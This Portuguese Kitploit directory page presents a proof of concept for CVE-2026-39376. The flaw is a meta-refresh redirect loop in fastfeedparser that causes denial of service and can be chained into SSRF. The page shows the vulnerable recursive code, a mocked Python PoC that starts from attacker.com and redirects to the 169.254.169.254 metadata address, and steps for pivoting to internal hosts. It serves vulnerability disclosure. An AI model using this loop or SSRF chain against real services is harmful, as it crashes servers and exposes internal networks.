Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39376 — Prova de conceito para CVE-2026-39376, demonstrando um loop infinito de redirecionamento como negação de serviço por meio de cadeias de meta-refresh no fastfeedparser, com potencial de encadeamento de SSRF. | Kitploit
Ferramentas/GitHubGitHub/redyank/cve-2026-39376
Análise de VulnerabilidadesExploraçãoSegurança Web
GitHubredyank/cve-2026-39376

CVE-2026-39376

Prova de conceito para CVE-2026-39376, demonstrando um loop infinito de redirecionamento como negação de serviço por meio de cadeias de meta-refresh no fastfeedparser, com potencial de encadeamento de SSRF.

Ver Repositório
21há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    707
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    431
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer é uma plataforma de código aberto de Gerenciamento de Acesso Privilegiado (PAM) que fornece às equipes de DevOps e TI acesso seguro e sob demanda a endpoints SSH, RDP, Kubernetes, Banco de Dados e RemoteApp através de um navegador web.

    405
  • 5

    SafeLine

    chaitin/safeline

    WAF auto-hospedado e proxy reverso que filtra tráfego HTTP malicioso, bloqueia injeção SQL, XSS e ataques de bots, com limitação de taxa e criptografia dinâmica de HTML/JS.

    352
  • 6

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    342

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39376

CVE-2026-39376 (DoS por loop de redirecionamento infinito via cadeia de meta-refresh)

Resumo

Quando parse() busca uma URL que retorna uma página HTML contendo uma tag <meta http-equiv="refresh">, ela chama a si mesma recursivamente com a URL de redirecionamento — sem limite de profundidade, sem deduplicação de URLs já visitadas e sem limite de contagem de redirecionamentos. Um servidor controlado pelo atacante que retorna uma cadeia infinita de respostas HTML com meta-refresh causa recursão ilimitada, esgotando a pilha de chamadas do Python e derrubando o processo. Essa vulnerabilidade também pode ser encadeada com o problema SSRF complementar para alcançar alvos de rede interna após contornar a verificação inicial de URL.

Detalhes

parse() captura ValueError em falha de análise XML, extrai uma URL de meta-refresh da resposta HTML via _extract_meta_refresh_url() e faz uma chamada de cauda a si mesma com essa URL. A chamada recursiva é incondicional — não há profundidade máxima de redirecionamento, nenhum conjunto de URLs já visitadas e nenhuma proteção contra redirecionamentos autorreferenciais ou em loop.

fastfeedparser/main.py — parse() (sumidouro recursivo):

def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← recursão incondicional, sem limite de profundidade

_extract_meta_refresh_url() usa urljoin(base_url, match.group(1)), portanto URLs relativas, relativas a protocolo (//host/path) e absolutas no atributo content= são todas seguidas.

PoC

Nenhum servidor ativo é necessário. O código a seguir aplica monkeypatch em _fetch_url_content para retornar uma cadeia infinita de HTML com meta-refresh e confirma a recursão ilimitada:

import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

Cada chamada recursiva executa uma requisição HTTP real (timeout de 30 s), análise de HTML e alocação de um quadro de pilha do Python. Com o limite de recursão padrão do Python de 1000 e um timeout de 30 s por requisição, uma única requisição do atacante pode manter uma thread do servidor ocupada por até ~8 horas antes que um RecursionError seja levantado.

Variante de encadeamento SSRF: A primeira resposta pode ser um HTML legítimo redirecionando para um endereço interno (http://192.168.1.1/), permitindo que o loop de redirecionamento também sirva como um bypass de SSRF para alvos que, de outra forma, seriam bloqueados pela validação de URL em nível de aplicação aplicada apenas à URL inicial.

Impacto

Esta é uma vulnerabilidade de negação de serviço com impacto secundário de encadeamento SSRF. Qualquer aplicação que aceite URLs de feeds fornecidas pelo usuário e chame fastfeedparser.parse() é afetada — incluindo agregadores de RSS, serviços de pré-visualização de feeds e recursos de "assinar por URL". Um atacante sem autenticação pode:

  • Manter uma thread de trabalho do servidor ocupada indefinidamente (uma requisição por conexão do atacante)
  • Derrubar o processo de trabalho via RecursionError após ~1000 redirecionamentos
  • Usar a cadeia de redirecionamento para pivotar requisições SSRF para alvos de rede interna
Baixar ferramenta